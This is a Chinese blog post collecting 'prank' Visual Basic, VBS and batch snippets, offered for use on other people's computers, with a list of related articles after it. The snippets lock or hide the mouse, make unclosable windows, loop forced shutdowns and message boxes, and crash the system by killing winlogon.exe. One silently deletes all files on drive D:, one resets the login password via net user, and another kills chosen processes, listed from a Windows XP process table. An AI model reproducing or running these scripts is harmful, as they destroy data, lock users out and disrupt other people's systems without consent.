vb的一些搞怪的操作

原创 2013年12月05日 17:03:03
VB代码之:鼠标锁
option Explicit
Private Type RECT 
Left As Long 
Top As Long 
Right As Long 
Bottom As Long 
End Type
Private Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long
Private Sub Command1_Click()'锁定鼠标 
Dim r As RECT 
r.Left = 100: r.Top = 100 
r.Right = 100: r.Bottom = 100 
ClipCursor r 
End Sub
Private Sub Command2_Click()‘解除锁定 
ClipCursor ByVal 0& 
End Sub
 


VB代码之:蓝屏代码
Shell "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul", 0
 


VB代码之:关不掉的窗口 
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Print "woca"
Cancel = True
End sub
 


VB代码之:不断打开关机对话框
Private Declare Sub ShutDownDialog Lib "shell32.dll" Alias "#60" (ByVal hwndOwner As Long)
Private Sub Form_Load()
Do
ShutDownDialog hWnd
Loop
End Sub
 


VB代码之:弹出无限 Msgbox
Private Sub Form_Load() 
love: msgbox"嘿嘿" 
Go to love 
End Sub
 


VB代码之:CPU100%占据者
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
Form1.Show
End Sub
Private Sub Form_Load()
Timer1.Interval = 10
Timer2.Interval = 10
Form1.Hide
For i = 1 To 1E+23
For a = 1 To 1E+16
Next a
For b = 1 To 1E+19
Next b
For c = 1 To 999999999
Next c
Next i
End Sub
Private Sub Timer1_Timer()
Form1.Show
End Sub
Private Sub Timer2_Timer()
Form1.Show
End Sub
 


VB代码之:编写系统炸弹
Private Sub Form_Load()
            For i=1To 1E+40
                Shell"shutdown -s -t 0"
            Next i
End Sub
 
 
VB代码之:编写无限弹不规则窗口
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Sub Form_Load() 
'窗口永在最前 
SetWindowPos Me.hWnd, -1, 500, 150, Me.Width, Me.Height, 1 
    
Randomize Timer '伪随机数发生器 
   
   Me.Width = Int(Screen.Width / 2 * Rnd) 
   Me.Height = Int(Screen.Height / 2 * Rnd) 
   Me.Left = Int((Screen.Width - Me.Width) * Rnd) 
   Me.Top = Int((Screen.Height - Me.Height) * Rnd)
   Timer1.Interval = Int(Rnd * 5000) + 5000 
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) 
Dim a As New Form1 
a.Show 
Cancel = 1 
Me.FontSize = 14 
Print "这么是关不掉我的。" & vbCrLf & "啦啦啦……" 
End Sub
Private Sub Timer1_Timer() 
Me.Left = Rnd * 10000 
Me.Top = Rnd * 8000 
End Sub
 


VB代码之:鼠标不见了
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) 
ShowCursor (False) 
End Sub
Private Sub Command2_Click() 
ShowCursor (True) 
MsgBox "ok" 
End Sub
 


这个是来自于 我们群里的论坛里的一个


创建 一个Text 和一个 Command1
Shell "Taskkill /f /im " & Text1.Text '结束Text1里的进程 ~ 
提个醒:把Text1的Text 为 "重要的进程" '我就不说 系统重要的进程了…… 请看下面 Windows 进程表
下面的是Windows XP 常见的进程列表
最基本的系统进程(也就是说,这些进程是系统运行的基本条件,有了这些进程,系统
就能正常运行)
smss.exe Session Manager
csrss.exe 子系统服务器进程
winlogon.exe 管理用户登录
services.exe 包含很多系统服务
lsass.exe 管理 IP 安全策略以及启动 ISAKMP/Oakley (IKE) 和 IP 安全驱动程序。
(系统服务)
产生会话密钥以及授予用于交互式客户/服务器验证的服务凭据(ticket)。(系统服务)
svchost.exe 包含很多系统服务
svchost.exe
SPOOLSV.EXE 将文件加载到内存中以便迟后打印。(系统服务)
explorer.exe 资源管理器
internat.exe 托盘区的拼音图标
附加的系统进程(这些进程不是必要的,你可以根据需要通过服务管理器来增加或减
少)
mstask.exe 允许程序在指定时间运行。(系统服务)
regsvc.exe 允许远程注册表操作。(系统服务)
winmgmt.exe 提供系统管理信息(系统服务)。
inetinfo.exe 通过 Internet 信息服务的管理单元提供 FTP 连接和管理。(系统服务)
tlntsvr.exe 允许远程用户登录到系统并且使用命令行运行控制台程序。(系统服务)
允许通过 Internet 信息服务的管理单元管理 Web 和 FTP 服务。(系统服务)
tftpd.exe 实现 TFTP Internet 标准。该标准不要求用户名和密码。远程安装服务
的一部分。(系统服务)
termsrv.exe 提供多会话环境允许客户端设备访问虚拟的 Windows 2000
Professional 桌面会话以及运行在服务器上的基于 Windows 的程序。(系统服务)
dns.exe 应答对域名系统(DNS)名称的查询和更新请求。(系统服务)
以下服务很少会用到,上面的服务都对安全有害,如果不是必要的应该关掉
tcpsvcs.exe 提供在 PXE 可远程启动客户计算机上远程安装 Windows 2000
Professional 的能力。(系统服务)
支持以下 TCP/IP 服务:Character Generator, Daytime, Discard, Echo, 以及
Quote of the Day。(系统服务)
ismserv.exe 允许在 Windows Advanced Server 站点间发送和接收消息。(系统服
务)
ups.exe 管理连接到计算机的不间断电源(UPS)。(系统服务)
wins.exe 为注册和解析 NetBIOS 型名称的 TCP/IP 客户提供 NetBIOS 名称服务。
(系统服务)
llssrv.exe License Logging Service(system service)
ntfrs.exe 在多个服务器间维护文件目录内容的文件同步。(系统服务)
RsSub.exe 控制用来远程储存数据的媒体。(系统服务)
locator.exe 管理 RPC 名称服务数据库。(系统服务)
lserver.exe 注册客户端许可证。(系统服务)
dfssvc.exe 管理分布于局域网或广域网的逻辑卷。(系统服务)
clipsrv.exe 支持“剪贴簿查看器”,以便可以从远程剪贴簿查阅剪贴页面。(系统
服务)
msdtc.exe 并列事务,是分布于两个以上的数据库,消息队列,文件系统,或其
它事务保护资源管理器。(系统服务)
faxsvc.exe 帮助您发送和接收传真。(系统服务)
cisvc.exe Indexing Service(system service)
dmadmin.exe 磁盘管理请求的系统管理服务。(系统服务)
mnmsrvc.exe 允许有权限的用户使用 NetMeeting 远程访问 Windows 桌面。(系统服
务)
netdde.exe 提供动态数据交换 (DDE) 的网络传输和安全特性。(系统服务)
smlogsvc.exe 配置性能日志和警报。(系统服务)
rsvp.exe 为依赖质量服务(QoS)的程序和控制应用程序提供网络信号和本地通信控制
安装功能。(系统服务)
RsEng.exe 协调用来储存不常用数据的服务和管理工具。(系统服务)
RsFsa.exe 管理远程储存的文件的操作。(系统服务)
grovel.exe 扫描零备份存储(SIS)卷上的重复文件,并且将重复文件指向一个数据存
储点,以节省磁盘空间。(系统服务)
SCardSvr.exe 对插入在计算机智能卡阅读器中的智能卡进行管理和访问控制。(系统
服务)
snmp.exe 包含代理程序可以监视网络设备的活动并且向网络控制台工作站汇报。(系
统服务)
snmptrap.exe 接收由本地或远程 SNMP 代理程序产生的陷阱消息,然后将消息传递
到运行在这台计算机上 SNMP 管理程序。(系统服务)
UtilMan.exe 从一个窗口中启动和配置辅助工具。(系统服务)
msiexec.exe 依据 .MSI 文件中包含的命令来安装、修复以及删除软件。(系统服务)
嘿嘿 然后 Form的Load事件中 输入代码
Command1_Click
嘿嘿

msgbox "你要点100下确定",vbokcancel,"hkmfk"
for i=1 to 100
msgbox "加油!!!"&"还有"&(100-i)&"下",4096,"zhb0813"
next




dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true


2.删除D:所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:*.* / f /q /s""",0 ,true


3.不断弹出窗口
while(1)
msgbox "哈哈 你被耍了!"
loop


4.不断按下alt+f4 (开什么都关闭……)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop


放一个timer,名为timer1 
Private Sub Form_Load() 
Me.Visible = False 
Timer1.Interval = 10*1000 
End Sub 
Private Sub Timer1_Timer() 
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" 
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" 
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" 
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" 
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" '可以多复制几个 msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告" 
End Sub


多了 去看我回答的所有内容 我最在行了  VB的 不知道了
你应该不是很会 这些东西 VB还要编成EXE 有点麻烦 
我估计你问的是VBS BAT之类的脚本  


1.掉qq  taskkill /im qq.exe /f /t 
2.10秒强制关机(任务管理器无效) shutdown -s -t 10 
3.死机 start cmd 0% 
4.设置登录密码为2097152 net user "%username%" 2097152 
5.让电脑只剩一个背景 taskkill /im /f /t explorer.exe   VBS的 


1.莫名其妙结束当前程序 set ws=createobject("wscript.shell") do ws.sendkeys "%{f4}" loop  
2.不断提示你是猪 do msgbox("你是猪") loop 
剩下的是我以前编的 http://wenwen.soso.com/z/q242167878.htm ;
去这个网看看  BAT怎么写 你自己去网上找找我就不费话了
 
shell "cmd.exe /c ntsd -c q -pn winlogon.exe",vbhide 运行后直接蓝屏。。。慎用~
版权声明:本文为博主原创文章,未经博主允许不得转载。

VB中对EXCEL的各种操作

全面控制 Excel 首先创建 Excel 对象,使用ComObj: Dim ExcelID as Excel.Application Set ExcelID as new Excel.Applica...
  • wzk456
  • wzk456
  • 2017年02月08日 15:20
  • 3918

vb 操作xml方法总结

Private Sub xxx(ByVal xmlStr As String) ''初始化xml文档 Dim xmlDoc As New XmlDocument ...
  • yuewei19
  • yuewei19
  • 2014年12月11日 15:21
  • 2786

VB操作EXCEL文件大全

Dim xlApp As New Excel.Application Dim xlBook As New Excel.Workbook Dim xlSheet As New Excel.Workshe...
  • laotou99
  • laotou99
  • 2013年10月23日 10:31
  • 17922

VB SetAttr 设置文件属性语句功能详解:

VB SetAttr 设置文件属性语句功能详解: 函数简介: 为一个文件设置属性信息。用来指定一个文件名的字符串表达式,可能包含目录或文件夹、以及驱动器,Attributes 必要参数。常...
  • NCTU_to_prove_safety
  • NCTU_to_prove_safety
  • 2016年12月02日 15:01
  • 438

VB6基本数据库应用(三):连接数据库与SQL语句的Select语句初步

同系列的第三篇,上一篇在:http://blog.csdn.net/jiluoxingren/article/details/9455721。连接数据库与SQL语句的Select语句初步。这一章将介绍...
  • JiLuoXingRen
  • JiLuoXingRen
  • 2013年07月27日 03:40
  • 15357

[vb6.0] 模拟鼠标操作, 一个自用多次单击类,可单击窗体或屏幕

添加一个类模块,命名为:clsClick 以下为类代码: Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, By...
  • boys1999
  • boys1999
  • 2015年02月22日 23:18
  • 732

VB6基本数据库应用(一):数据库基础

这是本套教程的第一课,讲述的是数据库结构的基础。学好数据库就必须了解清楚数据库的结构,其实并不困难。本套教程将从最基础的开始来讲述VB6的基础数据库操作。...
  • JiLuoXingRen
  • JiLuoXingRen
  • 2013年07月24日 17:14
  • 9864

VB.NET FTP传输及Win7下的FTP服务配置

FTP是File Transfer Protocol的英文简称,中文是文件传输协议。我们可以通过一个支持FTP协议的客户端程序,连接到远程主机上的FTP服务器,上传或者下载文件。TCO/IP协议中,F...
  • u013162930
  • u013162930
  • 2016年02月17日 14:58
  • 2132

vb读取WPS的EXCEL文档并另存为其他

Dim xlApp Dim xlApp2 Dim xlBook Dim xlBook2 Dim xlSheet Dim xlSheet2 Dim getPath Dim savePath...
  • sofeien
  • sofeien
  • 2014年10月13日 15:20
  • 1909

详解VB中连接access数据库的几种方法

在VB中,连接ACCESS数据库的方法主要有下面三种      使用ADO对象,通过编写代码访问数据库                       Connection 对象...
  • GarfieldEr007
  • GarfieldEr007
  • 2017年03月26日 22:21
  • 802
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:vb的一些搞怪的操作
举报原因:
原因补充:

(最多只允许输入30个字)